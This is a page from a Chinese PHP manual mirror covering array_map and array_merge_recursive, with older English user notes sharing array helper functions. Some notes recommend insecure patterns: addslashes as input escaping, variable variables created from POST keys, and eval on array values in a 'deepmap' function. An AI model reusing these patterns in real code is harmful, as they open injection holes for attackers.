You can of course define constants to have a nicer look, I have chosen these: EXTR_INT = 1; EXTR_STRING = 2
EXTR_INT will return an array where keys are only integer while
EXTR_STRING will return an array where keys are only string

Have fun with it.
erwin at spammij dot nl
26-Jul-2005 08:28
//'This will use the array_keys function to make all $_POST values addslashed.

$post_array_keys = array_keys($_POST);

for ($g=0;$g<count($post_array_keys);$g++) {
   $_POST[$post_array_keys[$g]] = addslashes($_POST[$post_array_keys[$g]]);
}
cristianDOTzuddas [AT] gmailDOTcom
07-Jul-2005 02:41
The function extracts the key of an associative array from the position you need.

Input:
$arr = array('a'=>'first', 'b'=>'second', 'c'=>'third');
print(array_key($arr, 1));

Output: 'b'

<?
function array_key($arr, $pos) {
   if (!empty($arr)) {
       if ($pos===null)
           $pos = 0;

       $all_keys = array_keys($arr);
       unset($arr);

       $key = $all_keys[$pos];
       unset($all_keys);

       if (isset($key))
           return $key;
       else {
           unset($key);
           return null;
       }
   }
}
?>
xorithNOSPAM (at) alsherok d.o.t net
27-May-2005 11:21
Notes for steve and sip from below (wow, spanning years on these notes!)

First off, Steve is right - isset will *not* return true at all when checking for a key that has a value set to the built-in constant null.

Sip is right in that it is faster to use isset. However, however his facts seem a bit misleading. Let me show you my console output for my test:

[Notice] Populating test array with 200000 values...
[Notice] Setting key '100000' to null for null key test.
[array_key_exists] Starting timer...
[array_key_exists] Found key 150000, time: 0.00015640
[array_key_exists] Test Complete.
[isset] Starting timer...
[isset] Found key 150000, time: 0.00008583
[isset] Test Complete.
[array_key_exists:bad_key] Starting timer...
[array_key_exists:bad_key] Did not find bad key 400000, time: 0.00009155
[array_key_exists:bad_key] Test Complete.
[isset:bad_key] Starting timer...
[isset:bad_key] Did not find bad key 400000, time: 0.00008392
[isset:bad_key] Test Complete.
[array_key_exists:null_test] Starting timer...
[array_key_exists:null_test] Found key with null value 100000, time: 0.00008392
[array_key_exists:null_test] Test Complete.
[isset:null_test] Starting timer...
[isset:null_test] Did not find key with null value 100000, time: 0.00008392
[isset:null_test] Test Complete.

Yes, that's 200,000 values. I was using an md5 of microtime() and the index, to ensure that the data was of some sort of adequate size. I had to bump up my memory_limit to do the 200,00 index test.

One thing I'd like to note is I also tried this test with 2,000 and 20,000. What I found is that the times are almost identical all the way up to 200,000. The time is in seconds.

As you can see, while there is a significant time difference between array_key_exists and isset in the first test, the time appeared to improve down the board, until it was equal with isset in the last test. You might also note that really, the time isn't too bad, not for a function that will return a more accurate result than isset.

One more test, this time 500,000 indicies:
[Notice] Populating test array with 500000 values...
[Notice] Setting key '250000' to null for null key test.
[array_key_exists] Starting timer...
[array_key_exists] Found key 375000, time: 0.00016403
[array_key_exists] Test Complete.
[isset] Starting timer...
[isset] Found key 375000, time: 0.00008011
[isset] Test Complete.
[array_key_exists:bad_key] Starting timer...
[array_key_exists:bad_key] Did not find bad key 1000000, time: 0.00007629
[array_key_exists:bad_key] Test Complete.
[isset:bad_key] Starting timer...
[isset:bad_key] Did not find bad key 1000000, time: 0.00007629
[isset:bad_key] Test Complete.
[array_key_exists:null_test] Starting timer...
[array_key_exists:null_test] Found key with null value 250000, time: 0.00007439
[array_key_exists:null_test] Test Complete.
[isset:null_test] Starting timer...
[isset:null_test] Did not find key with null value 250000, time: 0.00007629
[isset:null_test] Test Complete.

Surprisingly, the times seem a tad shorter here. This could be a result of my server though, but the fact still stands that even with an incredibly large array, the time impact isn't a huge problem with array_key_exists.

So to wrap this up:

If you care to know if a key exists, even if it's null, use array_key_exists.

If you don't want to know if a key is there if it's null, use isset.

-- JWalker (Xorith)
devmnky /at\ gmail /dot\ com
10-Mar-2005 10:03
Please note that array_keys() does not work if you're trying to search for values within multi-dimensional arrays.

For example:

$array = array("color" => array("blue", "red", "green"),
               "size"  => array("small", "medium", "large"));
print_r(array_keys($array, "blue"));

will return:
Array
{
}
steve at ukwebsystems dot com
26-Sep-2004 01:52
note to sip at email dot ee

inefficent it may be, but it detects if array keys have been defined with null values.

with the array

$Row['field1'] = null;
$Row['field2'] = 'hello';

array_key_exists('field1',$Row) will return true

isset($Row['field1']) will return false, even though the key is present...
sip at email dot ee
22-Aug-2003 08:33
Note, that using array_key_exists() is rather inefficient. The overhead associated with calling a function makes it slower, than using isset($array[$key]), instead of array_key_exists($key, $array)
using isset() is usually about 1.3 times faster, according to my tests.
rodrigo at NOSPAM dot dhweb dot com dot br
05-Feb-2003 08:39
[Editor's note: For a complete solution to the printing of complex structures or hashes, see the PEAR::Var_Dump package: http://pear.php.net/package-info.php?pacid=103 , use "pear install Var_Dump" to get it]

This function will print all the keys of a multidimensional array in html tables.
It will help to debug when you dont have control of depths.

<?php
function show_keys($ar){

   echo "<table width='100%' border='1' bordercolor='#6699CC' cellspacing='0' cellpadding='5'><tr valign='top'>";

     foreach ($ar as $k => $v ) {

         echo "<td align='center' bgcolor='#EEEEEE'>
           <table border='2' cellpadding='3'><tr><td bgcolor='#FFFFFF'><font face='verdana' size='1'>
             " . $k . "
           </font></td></tr></table>";

           if (is_array($ar[$k])) {
             show_keys ($ar[$k]);
         }

         echo "</td>";

     }

   echo "</tr></table>";

}

// Multidimensional array ->
$arvore = array();
$arvore['1'] = array();
$arvore['1']['1.1'] = array('1.1.1', '1.1.2', '1.1.3');
$arvore['1']['1.2'] = array('1.2.1', '1.2.2', '1.2.3');
$arvore['1']['1.3'] = array('1.3.1', '1.3.2', '1.3.3');
$arvore['2'] = array();
$arvore['2']['2.1'] = array('2.1.1', '2.1.2', '2.1.3');
$arvore['2']['2.2'] = array('2.2.1', '2.2.2', '2.2.3');
$arvore['2']['2.3'] = array('2.3.1', '2.3.2', '2.3.3');
$arvore['3'] = array();
$arvore['3']['3.1'] = array('3.1.1', '3.1.2', '3.1.3');
$arvore['3']['3.2'] = array('3.2.1', '3.2.2', '3.2.3');
$arvore['3']['3.3'] = array('3.3.1', '3.3.2'=>array('3.3.2.1', '3.3.2.2'), '3.3.3');
// <-

show_keys($arvore);
?>
michielbakker at msn dot com
14-Nov-2002 01:45
If you receive a bunch of variables and like to change most of them (or all of them for that matter), you can do something like this: (data has been sent to a page with POST)

<?
$allKeys = array_keys($HTTP_POST_VARS);

for ($i=0;$i<count($allKeys);$i++)
{
     $$allKeys[$i] = strtoupper($HTTP_POST_VARS[$allKeys[$i]]);
}
?>

This makes caracters (a-z) uppercase. This is just one way to use it, ofcourse.

Hope this helps someone understand the way to use array_keys() or give any ideas. :)
glennh at webadept dot net
13-Nov-2002 08:03
All the cool notes are gone from the site.

Here's an example of how to get all the variables passed to your program using the method on this page. This prints them out so you can see what you are doing.

<?php
while (list($key, $value) = each
(${"HTTP_".$REQUEST_METHOD."_VARS"}))
{
       echo $key." = ".$value." ";
}
?>
jacob at keystreams dot com
21-Aug-2002 02:05
Here is a way to use array_intersect on array keys rather than values:

<?php
$a = array("apple" => "red", "banana" => "yellow");
$z = array("apple" => "green", "peach" => "orange", "banana" => "rotten");

$intersected_keys = array_intersect(array_keys($a), array_keys($z));

print_r($intersected_keys);
?>

This will print:

Array ( [0] => apple [1] => banana )
add a note add a note

后退 | 起点 | 前进
array_key_exists | 上一级 | array_map


array_map

(PHP 4 >= 4.0.6, PHP 5)

array_map -- 将回调函数作用到给定数组的单元上

说明

array array_map ( callback callback, array arr1 [, array ...] )

array_map() 返回一个数组，该数组包含了 arr1 中的所有单元经过 callback 作用过之后的单元。callback 接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

例子 1. array_map() 例子

<?php
function cube($n)
{
    return($n * $n * $n);
}

$a = array(1, 2, 3, 4, 5);
$b = array_map("cube", $a);
print_r($b);
?>

这使得 $b 成为：

Array
(
    [0] => 1
    [1] => 8
    [2] => 27
    [3] => 64
    [4] => 125
)

例子 2. array_map() - 使用更多的数组

<?php
function show_Spanish($n, $m)
{
    return("The number $n is called $m in Spanish");
}

function map_Spanish($n, $m)
{
    return(array($n => $m));
}

$a = array(1, 2, 3, 4, 5);
$b = array("uno", "dos", "tres", "cuatro", "cinco");

$c = array_map("show_Spanish", $a, $b);
print_r($c);

$d = array_map("map_Spanish", $a , $b);
print_r($d);
?>

上例将输出：

// printout of $c
Array
(
    [0] => The number 1 is called uno in Spanish
    [1] => The number 2 is called dos in Spanish
    [2] => The number 3 is called tres in Spanish
    [3] => The number 4 is called cuatro in Spanish
    [4] => The number 5 is called cinco in Spanish
)

// printout of $d
Array
(
    [0] => Array
        (
            [1] => uno
        )

    [1] => Array
        (
            [2] => dos
        )

    [2] => Array
        (
            [3] => tres
        )

    [3] => Array
        (
            [4] => cuatro
        )

    [4] => Array
        (
            [5] => cinco
        )

)

通常使用了两个或更多数组时，它们的长度应该相同，因为回调函数是平行作用于相应的单元上的。如果数组的长度不同，则最短的一个将被用空的单元扩充。

本函数一个有趣的用法是构造一个数组的数组，这可以很容易的通过用 NULL 作为回调函数名来实现。

例子 3. 建立一个数组的数组

<?php
$a = array(1, 2, 3, 4, 5);
$b = array("one", "two", "three", "four", "five");
$c = array("uno", "dos", "tres", "cuatro", "cinco");

$d = array_map(null, $a, $b, $c);
print_r($d);
?>

上例将输出：

Array
(
    [0] => Array
        (
            [0] => 1
            [1] => one
            [2] => uno
        )

    [1] => Array
        (
            [0] => 2
            [1] => two
            [2] => dos
        )

    [2] => Array
        (
            [0] => 3
            [1] => three
            [2] => tres
        )

    [3] => Array
        (
            [0] => 4
            [1] => four
            [2] => cuatro
        )

    [4] => Array
        (
            [0] => 5
            [1] => five
            [2] => cinco
        )

)

参见 array_filter()，array_reduce()，array_walk() 和有关 callback 类型的信息。

add a note add a note User Contributed Notes
pcdinh at phpvietnam dot net
18-Mar-2006 12:50
Hi benjaminhill,

You can apply a method of a instantiated class to array_maps as follows:

class Maths {
   function addOne($input) {
       return ($input + 1);
   }
}
$maths = new Maths();
$sum = array_map(array($maths, \\\'addOne\\\'), array(1, 2));
// where $maths is the object which has been instantiated before and addOne is its method without its own parameters
var_dump($sum);

The code fragment will return:

array
  0 => 2
  1 => 3

However, I love a syntax like this:

$sum = array_map($maths->addOne($this), array(1, 2));

where $this should be interpreted as each values extracted from the subsequent array, which in this case is array(1, 2).

This syntax reminds me of Javascript syntax.

PHP\\\'s callback mechanism should be improved.
jakob dot buchgraber at gmail dot com
18-Dec-2005 02:41
This function escapes an array or string. The function uses addslashes for escaping the data, but if you work with i.e. MySQL you should use mysqli_real_escape_string() instead.

<?php
function escapeString($stringOrArray) {

  if (is_array($stringOrArray))
   return array_map('escapeString',$stringOrArray);
  else {
   $stringOrArray = addslashes($stringOrArray);
   return $stringOrArray;
  }
}

$array  = array('"""\\\$',"Peter's here");
$string = 'Hello I am "Mr XYZ"';

$array = escapeString($array);
$string = escapeString($string);

echo '<pre>';
print_r($array);
echo '</pre>';

echo $string;

/************The Output*******************
Array
(
   [0] => \"\"\"\\\\$
   [1] => Peter\'s here
)

Hello I am \"Mr XYZ\"
*************The Output******************/
?>
26-Aug-2005 09:57
Here's a function, very helpfull to me, that allows you to map your callback on mixed args.

<?php
function array_smart_map($callback) {
   // Initialization
   $args = func_get_args() ;
   array_shift($args) ; // suppressing the callback
   $result = array() ;

   // Validating parameters
   foreach($args as $key => $arg)
       if(is_array($arg)) {
           // the first array found gives the size of mapping and the keys that will be used for the resulting array
           if(!isset($size)) {
               $keys = array_keys($arg) ;
               $size = count($arg) ;
           // the others arrays must have the same dimension
           } elseif(count($arg) != $size) {
               return FALSE ;
           }
           // all keys are suppressed
           $args[$key] = array_values($arg) ;
       }

   // doing the callback thing
   if(!isset($size))
       // if no arrays were found, returns the result of the callback in an array
       $result[] = call_user_func_array($callback, $args) ;
   else
       for($i=0; $i<$size; $i++) {
           $column = array() ;
           foreach($args as $arg)
               $column[] = ( is_array($arg) ? $arg[$i] : $arg ) ;
           $result[$keys[$i]] = call_user_func_array($callback, $column) ;
       }

   return $result ;

}
?>

Trying with :

<?php
// $_GET is ?foo=bar1-bar2-bar3&bar=foo1
print_r(array_smart_map('explode', '-', $_GET)) ;
?>

Returns :

array(
   [foo] => array(
       0 => bar1
       1 => bar2
       2 => bar3
   )

   [bar] => array(
       1 => foo1
   )
)
david dot tulloh at infaze dot com dot au
07-Jul-2005 07:53
You can pass values to array_map by reference, essentially allowing you to use it as you would array_walk with multiple arrays as parameters.

A trivial example:
<?php
$a = array(1,2,3,4,5);
$add_func = create_function('&$x, $y', '$x+=$y;');
array_map($add_func, $a, $a);
print_r($a);
?>
Array
(
   [0] => 2
   [1] => 4
   [2] => 6
   [3] => 8
   [4] => 10
)
arunas Baltuonis
03-Jul-2005 05:57
In PHP5 array_map doesn't check "arrays in arrays". Here is simple example how to clean deep all array.

function clean ( $string )
{
   if (is_array($string))
   {
       return array_map('clean', $string);;
   }
   return ereg_replace("[^[:space:]a-zA-Z0-9*_.-\]\[]", " ", $string);

}

$_GET = array_map('clean', $_GET);
$_POST = array_map('clean', $_POST);
ildar-sh [at] mail [dot] ru
25-May-2005 02:45
I think that thise code can be useful for an string<->assoc.array convertation
<?php

/*
// Example:
$origin = array('a' => 1, 'b' => 2, 'c' => 3);
$joined = PrepareRequest::join($origin);
$splitted = PrepareRequest::split($joined);
print_r(array('origin' => $origin, 'joined' => $joined, 'splitted' => $splitted));
*/

class PrepareRequest
{

       /*
       * string PrepareRequest::join(array $array [ , char $delim1 [ , char $delim2 ] ] )
       *
       * Converting of arrays to the strings. Resulting string contains keys and values
       * correctly for HTTP requests such as key1=value1&key2=value2...
       *
       */
   function join($array, $delim1='&', $delim2='=')
   {
       array_walk($array, array('PrepareRequest', '_join'), $delim2);
       return implode($delim1, $array);
   }

   function _join(&$value, $key, $delim2)
   {
       $value = $key . $delim2 . $value;
   }

   /*
   * array PrepareRequest::split(string $string [ , char $delim1 [ , char $delim2 ] ] )
   *
   * Parsing of string to associative array
   */
   function split($string, $delim1='&', $delim2='=')
   {
       $array = explode($delim1, $string);
       $result = array();
       for ($i = 0; $i < count($array); $i++)
       {
               list($key, $value) = explode($delim2, $array[$i], 2);
           $result[$key] = $value;
       }
       return $result;
   }

}

?>
Vinicius Cubas Brand
23-Mar-2005 09:31
The following function does exaclty the same thing of array_map. However, maintains the same index of the input arrays

<?php
   function array_map_keys($param1,$param2,$param3=NULL)
   {
       $res = array();

       if ($param3 !== NULL)
       {
           foreach(array(2,3) as $p_name)
           {
               if (!is_array(${'param'.$p_name}))
               {
                   trigger_error(__FUNCTION__.'(): Argument #'.$p_name.' should be an array',E_USER_WARNING);
                   return;
               }
           }
           foreach($param2 as $key => $val)
           {
               $res[$key] = call_user_func($param1,$param2[$key],$param3[$key]);
           }
       }
       else
       {
           if (!is_array($param2))
           {
               trigger_error(__FUNCTION__.'(): Argument #2 should be an array',E_USER_WARNING);
               return;
           }
           foreach($param2 as $key => $val)
           {
               $res[$key] = call_user_func($param1,$param2[$key]);
           }
       }
       return $res;
   }
?>

For instance:

<?php
   $arr1 = array(
       '3' => 'a',
       '4' => 'b',
       '5' => 'c'
       );

   $arr2 = array(
       '3' => 'd',
       '4' => 'e',
       '5' => 'f'
       );

   $arr3 = array_map_keys(create_function('$a,$b','return $a.$b;'),$arr1,$arr2);

   print_r($arr3);

?>

The result will be:

Array
(
   [3] => ad
   [4] => be
   [5] => cf
)
nick at netdupeNOSPAM dot com
22-Feb-2005 01:34
This function comes in handy for $_POST, $_GET input. Allowing you to quickly check user input.

For example:

<?php

$_POST = array_map('addslashes', $_POST);

//or

$_GET = array_map('addslashes', $_GET);

?>

You could also use it to trim, strip tags etc. Saves a lot of time when having to check a lot of input values.
endofyourself at yahoo dot com
20-Feb-2005 03:29
If you need to call a static method from array_map, this will NOT work:

<?PHP
array_map('myclass::myMethod' , $value);
?>

Instead, you need to do this:

<?PHP
array_map( array('myclass','myMethod') , $value);
?>

It is helpful to remember that this will work with any PHP function which expects a callback argument.
Clayton Smith
30-Nov-2004 02:28
Handle multidimensional arrays:
function array_map_recursive($func, $arr)
{
   $result = array();
   do
   {
       $key = key($arr);
       if (is_array(current($arr))) {
           $result[$key] = array_map2($func, $arr[$key]);
       } else {
           $result[$key] = $func(current($arr));
       }
   } while (next($arr) !== false);
   return $result;
}
20-Sep-2004 06:32
Note that you can also use PHP own functions:

$dir = glob("dir/*.txt");
$sizes = array_map("filesize", $dir);
print array_sum($sizes); // 157471

This script sums that folder txt-file sizes very well !
nd0 at gmx dot de
02-Jul-2004 07:42
array_map works also fine with create_function:

<?php
$a = array(1, 2, 3, 4, 5);
$b = array_map(create_function('$n', 'return $n*$n*$n;'), $a);
print_r($b);
?>

if you want to manipulate the elements of the array, instead to on a copy,
than take a look at array_walk:

<?php
$a = array(1, 2, 3, 4, 5);
array_walk($a, create_function('&$n', '$n = $n*$n*$n;'));
print_r($a);
?>

The Result of both is:

Array
(
   [0] => 1
   [1] => 8
   [2] => 27
   [3] => 64
   [4] => 125
)
nd0 at gmx.de
02-Jul-2004 07:07
Here's an other example, to handle array of arrays with array_map.
Only a small modification in the callback-function.

<?php
function cube($n) {
   if (is_array($n)) return array_map('cube', $n);
   return $n*$n*$n;
}

$a = array(1, 2, array(3, 4, array(5)));
$b = array_map('cube', $a);
print_r($b);
?>
bishop
10-Apr-2004 08:07
Occasionally, you may find that you need to pull out a column (or several) from an array.  Here's a map-like function to do that:

<?php
function &array_shear(&$arrays, $idx1 /* ... */) {
   $indexes = func_get_args();
   array_shift($indexes);

   $newArrays = array ();

   foreach (array_keys($arrays) as $arrayKey) {
       $newArray = array ();
       foreach ($indexes as $index) {
           $newArray[$index] = $arrays[$arrayKey][$index];
           unset($arrays[$arrayKey][$index]);
       }
       $newArrays[$arrayKey] = $newArray;
   }

   return $newArrays;
}
?>

So, doing this:

<?php
$t1 = array (
         2 => array ('a', 'b', 'c'),
         1 => array ('d', 'e', 'f'),
         5 => array ('g', 'h', 'i'),
     );

$t2 = array_shear($t1, 1, 0);

?>

will result in:

<?php

$t1 = array (
  2 =>  array (    2 => 'c',  ),
  1 =>  array (    2 => 'f',  ),
  5 =>  array (    2 => 'i',  ),
);

$t2 = array (
  2 =>  array (    1 => 'b',    0 => 'a',  ),
  1 =>  array (    1 => 'e',    0 => 'd',  ),
  5 =>  array (    1 => 'h',    0 => 'g',  ),
);

?>
stephen at mu dot com dot au
07-Jan-2003 02:02
A note when doing something allong the lines of:

<?php
class foo {
  var $var;
  function bar() {
     array_map(array($this, "baz"), array(1,2,3));
  }

  function baz($arg) {
   $this->var = $this->var + $arg;
  }
}
?>

This will *not* work as expected. You need to pass $this by reference as with:

array_map(array(&$this, "baz"), array(1,2,3));

or you'll be making a copy of the object each time, changing a value, then throwing the result away.
NetVicious IN hotmail_com
24-Nov-2002 10:00
Get the max length in an array of strings

<?php
function maxLength($str) {
   return strlen($str);
}

$maxLen = max(array_map("maxLength", $myArray));
?>
dan at mojavelinux dot com
15-Jun-2002 01:07
Here is a better, more true version of a deep array_map.  The only negative of this function is that the array is passed by reference, so just be aware of that. (patches welcome)

<?php
function array_map_deep(&$in_array, $in_func, $in_args = array(), $in_index = 1) {
   // fix people from messing up the index of the value
   if ($in_index < 1) {
       $in_index = 1;
   }

   foreach (array_keys($in_array) as $key) {
       // we need a reference, not a copy, normal foreach won't do
       $value =& $in_array[$key];
       // we need to copy args because we are doing
       // manipulation on it farther down
       $args = $in_args;
       if (is_array($value)) {
           array_map_deep($value, $in_func, $in_args, $in_index);
       }
       else {
           array_splice($args, $in_index - 1, $in_index - 1, $value);
           $value = call_user_func_array($in_func, $args);
       }
   }

   return $in_array;
}
?>

This is a neat function because you can pass an array, a function, and an array of parameters, and finally, and index of where in the array of parameters for the callback function the contents you are mapping should get replaced.  This index is human based (starts at 1), and can be used in something like a preg_replace callback, where the contents must be the 3rd index.  Enjoy!
bishop
27-Mar-2002 07:33
Sometimes you might be interested in performing a "deep" map, where you apply the callback to all elements in the array, even if the elements are stuck deep inside of some array(array(array(...))) business.

Here's an example PHP4 function that handles this case, with a little bit more flexible (and potentially more error-prone) callback parameter:

<?php
function deepmap($cb, $x) {

   if (is_array($x)) {
       $it = array();
       foreach ($x as $k => $v) {
           $it["$k"] = deepmap($cb, $x["$k"]);
       }
       return $it;
   } else {
       $cmd = "return (" .
               str_replace('$__', $x, $cb) .
               ");";
       return eval($cmd);
   }

}

So, you could do, for example:

$some_odds  = array(1, 3, 5);
$some_evens = array(0, 2, 4, 6);
$some_nums  = array($some_odds, array($some_evens));

deepmap('pow($__, 2)', $some_odds);
deepmap('pow($__, 2)', $some_nums);
?>

Both examples square each element of the arrays, making sure to keep the array structure intact.

Note that the callback function needs to be a) quoted, and b) include the special string $__ (dollar double underscore); deepmap replaces $__ in the function call with whatever the current element is.
add a note add a note

后退 | 起点 | 前进
array_keys | 上一级 | array_merge_recursive


array_merge_recursive

(PHP 4 >= 4.0.1, PHP 5)

array_merge_recursive -- 递归地合并一个或多个数组

说明

array array_merge_recursive ( array array1 [, array ...] )

array_merge_recursive() 将一个或多个数组的单元合并起来，一个数组中的值附加在前一个数组的后面。返回作为结果的数组。

如果输入的数组中有相同的字符串键名，则这些值会被合并到一个数组中去，这将递归下去，因此如果一个值本身是一个数组，本函数将按照相应的条目把它合并为另一个数组。然而，如果数组具有相同的数组键名，后一个值将不会覆盖原来的值，而是附加到后面。

例子 1. array_merge_recursive() 例子

<?php
$ar1 = array("color" => array("favorite" => "red"), 5);
$ar2 = array(10, "color" => array("favorite" => "green", "blue"));
$result = array_merge_recursive($ar1, $ar2);
?>

$result 成为：

Array
(
    [color] => Array
        (
            [favorite] => Array
                (
                    [0] => red
                    [1] => green
                )

            [0] => blue
        )

    [0] => 5
    [1] => 10
)

参见 array_merge()。

add a note add a note User Contributed Notes
Vladimir Kornea
11-May-2006 10:10
The documentation for array_merge_recursive() states that string keys are preserved while numeric keys are renumbered. What's not obvious is that string keys which happen to be numeric are NOT preserved, but renumbered:

$a = array('5' => array('blue'));
$b = array('5' => array('red'));
$c = array_merge_recursive($a, $b);
print_r($c);

Output:

Array
(
   [0] => Array
       (
           [0] => blue
       )

   [1] => Array
       (
           [0] => red
       )

)

If the key '5' were treated as a string, the resulting array would be this:

Array
(
   [5] => Array
       (
           [0] => blue
           [1] => red
       )
)
jason at ebasterpro dot com
20-Aug-2005 12:56
This modifications allows you to merge arrays of objects and objects of arrays recursively.
/**
 * arrayobj_merge_recursive2()
 *
 * Similar to array_merge_recursive2 but supports objects and arrays, keyed-valued are always overwritten.
 * Priority goes to the 2nd array. And support Object Array mixture
 *
 * @static yes
 * @public yes
 * @param $paArray1 array/object
 * @param $paArray2 array/object
 * @return array/object
 */
function arrayobj_merge_recursive2($paArray1, $paArray2)
{
   if(is_array($paArray2))
   {
       foreach ($paArray2 AS $sKey2 => $sValue2)
       {
           $paArray1[$sKey2] = arrayobj_merge_recursive2(@$paArray1[$sKey2], $sValue2);
       }
   }
   elseif(is_object($paArray2))
   {
       foreach ($paArray2 AS $sKey2 => $sValue2)
       {
             $paArray1->{$sKey2} = arrayobj_merge_recursive2(@$paArray1->{$sKey2}, $sValue2);
       }
   } else {
         return $paArray2;
   }
   return $paArray1;
}
mikeo
05-Apr-2005 11:42
Similarly, you can cast variables to type array.  This is especially useful if you're passing arrays by reference.

function addHeader(&$lArray, $description = null)
{
   ...

   $lArray = array_merge_recursive((array)$lArray, $tmpArray);

   ...
}
fire at firepages dot com dot au
21-Dec-2004 11:10
PHP5 note , in PHP4 you could pass an uninitialised array to array_merge_recursive which would issue a notice but not break anything ..

while( $whatever){
 $uninitialised_array = array_merge_recursive( $uninitialised_array, $t ) ;
}

in PHP5 , if you dont initialise the array the recursion never starts so $uninitialised_array = array(); solves (good practive anyway I suppose?)
manicdepressive at mindless dot com
22-Jun-2004 10:30
Please be aware that under circumstances where you have
both the key and value common between the two arrays at a given node,
array_merge_recursive() will behave differently if that value is NULL,
as opposed to a non-null value.

i.e., I expected the results of the first two sections below to
have the same structure, but they don't.
If this might apply to you, please see for yourself.

<pre><?php

$a1 = array('a'=>'b');
$a2 = array('a'=>'b');
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

$a1 = array('a'=>NULL);
$a2 = array('a'=>NULL);
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

$a1 = array('a'=>'b');
$a2 = array('a'=>NULL);
$a3 = array_merge_recursive($a1,$a2);
var_export($a3);
echo "\n\n";

?></pre>

This behavior also occurs if the value is the empty array.
In fact, in the above example, interchanging the empty array with
any and all occurences of NULL will yield the same result.

   code till dawn!  -mark
brian at vermonster dot com
26-May-2004 05:44
Here is a fairly simple function that replaces while recursing.

<?php
/**
 * array_merge_recursive2()
 *
 * Similar to array_merge_recursive but keyed-valued are always overwritten.
 * Priority goes to the 2nd array.
 *
 * @static yes
 * @public yes
 * @param $paArray1 array
 * @param $paArray2 array
 * @return array
 */
function array_merge_recursive2($paArray1, $paArray2)
{
   if (!is_array($paArray1) or !is_array($paArray2)) { return $paArray2; }
   foreach ($paArray2 AS $sKey2 => $sValue2)
   {
       $paArray1[$sKey2] = array_merge_recursive2(@$paArray1[$sKey2], $sValue2);
   }
   return $paArray1;
}

?>

Examples:
<?php

$array1 = array(
   'liquids' => array(
       'water' => array('cold', 'fizzy', 'clean')
       ,'beer' => 'warm'
   )
);

$array2 = array(
   'liquids' => array(
       'water' => 'hot'
       ,'milk' => 'wet'
   )
);

$result1 = array_merge_recursive2($array1, $array2);
$result2 = array_merge_recursive2($array2, $array1);
?>

Result 1 is:
Array
(
   [liquids] => Array
       (
           [water] => hot
           [beer] => warm
           [milk] => wet
       )
)

Result 2 is:
Array
(
   [liquids] => Array
       (
           [water] => Array
               (
                   [0] => cold
                   [1] => fizzy
                   [2] => clean
               )

           [milk] => wet
           [beer] => warm
       )
)
paska at kios dot sk
04-Mar-2004 06:18
This emulates replace of $_REQUEST according to variable_order=GPC.
<?
   function array_merge_replace($array, $newValues) {
       foreach ($newValues as $key => $value ) {
           if (is_array($value)) {
               if (!isset($array[$key])) {
                   $array[$key] = array();
               }
               $array[$key] = array_merge_replace($array[$key], $value);
           } else {
               $array[$key] = $value;
           }
       }
       return $array;
   }

   $_REQUEST = array_merge_replace($_REQUEST, $_GET);
   $_REQUEST = array_merge_replace($_REQUEST, $_POST);
   $_REQUEST = array_merge_replace($_REQUEST, $_COOKIE);
?>

Useful with stripping backslashes at beginning of main include file:
<?
if (get_magic_quotes_gpc() == 1) {

   function stripMagicSlashes($element) {
       if (is_array($element)) {
           return array_map("stripMagicSlashes", $element);
       } else {
           return stripslashes($element);
       }
   }

   function array_merge_replace($array, $newValues) {
       foreach ($newValues as $key => $value ) {
           if (is_array($value)) {
               if (!isset($array[$key])) {
                   $array[$key] = array();
               }
               $array[$key] = array_merge_replace($array[$key], $value);
           } else {
               $array[$key] = $value;
           }
       }
       return $array;
   }

   $_GET    = array_map("stripMagicSlashes", $_GET);
   $_POST  = array_map("stripMagicSlashes", $_POST);
   $_COOKIE = array_map("stripMagicSlashes", $_COOKIE);

   $_REQUEST = array_merge_replace($_REQUEST, $_GET);
   $_REQUEST = array_merge_replace($_REQUEST, $_POST);
   $_REQUEST = array_merge_replace($_REQUEST, $_COOKIE);

}

$GLOBALS['stripped'] = true;
?>

Based on examples from users from this site.
t dot tom at succont dot de
09-Jan-2004 12:09
Here my modification of shemari's Code for Replacing Values in an Array. My modification will return the new Array, not handle it by reference.
Original Array will not be touched.

Hope it helps anyone. Most thanks goes to shemari ;o)

<?php
   /**
     * Merges two arrays and replace existing Entrys
     *
     * Merges two Array like the PHP Function array_merge_recursive.
     * The main difference is that existing Keys will be replaced with new Values,
     * not combined in a new Sub Array.
     *
     * Usage:
     *        $newArray = array_merge_replace( $array, $newValues );
     *
     * @access puplic
     * @author Tobias Tom <t.tom@succont.de>
     * @param array $array First Array with 'replaceable' Values
     * @param array $newValues Array which will be merged into first one
     * @return array Resulting Array from replacing Process
     */
function array_merge_replace( $array, $newValues ) {
   foreach ( $newValues as $key => $value ) {
       if ( is_array( $value ) ) {
               if ( !isset( $array[ $key ] ) ) {
               $array[ $key ] = array();
           }
           $array[ $key ] = $this->array_merge_replace( $array[ $key ], $value );
       } else {
           if ( isset( $array[ $key ] ) && is_array( $array[ $key ] ) ) {
               $array[ $key ][ 0 ] = $value;
           } else {
               if ( isset( $array ) && !is_array( $array ) ) {
                   $temp = $array;
                   $array = array();
                   $array[0] = $temp;
               }
               $array[ $key ] = $value;
           }
       }
   }
   return $array;
}
?>
shemari75 at mixmail dot com
19-Dec-2003 01:22
Here's a function to recursively merge any number of any-dimensional arrays.
It actually works in quite a similar way as array_merge_recursive does, but with two major differences:
- Later elements overwrite previous ones having the same keys.
- Numeric keys are not appended. Instead, they are converted into associative ones, and therefore overwritten as stated above.

Usage:
   array array_merge_n(array array1, array array2[, array ...])

<?php
   /**
     *  Merges two arrays of any dimension
     *
     *  This is the process' core!
     *  Here each array is merged with the current resulting one
     *
     *  @access private
     *  @author Chema Barcala Calveiro <shemari75@mixmail.com>
     *  @param array $array  Resulting array - passed by reference
     *  @param array $array_i Array to be merged - passed by reference
     */

   function array_merge_2(&$array, &$array_i) {
       // For each element of the array (key => value):
       foreach ($array_i as $k => $v) {
           // If the value itself is an array, the process repeats recursively:
           if (is_array($v)) {
               if (!isset($array[$k])) {
                   $array[$k] = array();
               }
               array_merge_2($array[$k], $v);

           // Else, the value is assigned to the current element of the resulting array:
           } else {
               if (isset($array[$k]) && is_array($array[$k])) {
                   $array[$k][0] = $v;
               } else {
                   if (isset($array) && !is_array($array)) {
                       $temp = $array;
                       $array = array();
                       $array[0] = $temp;
                   }
                   $array[$k] = $v;
               }
           }
       }
   }

   /**
     *  Merges any number of arrays of any dimension
     *
     *  The arrays to be merged are passed as arguments to the function,
     *  which uses an external function (array_merge_2) to merge each of them
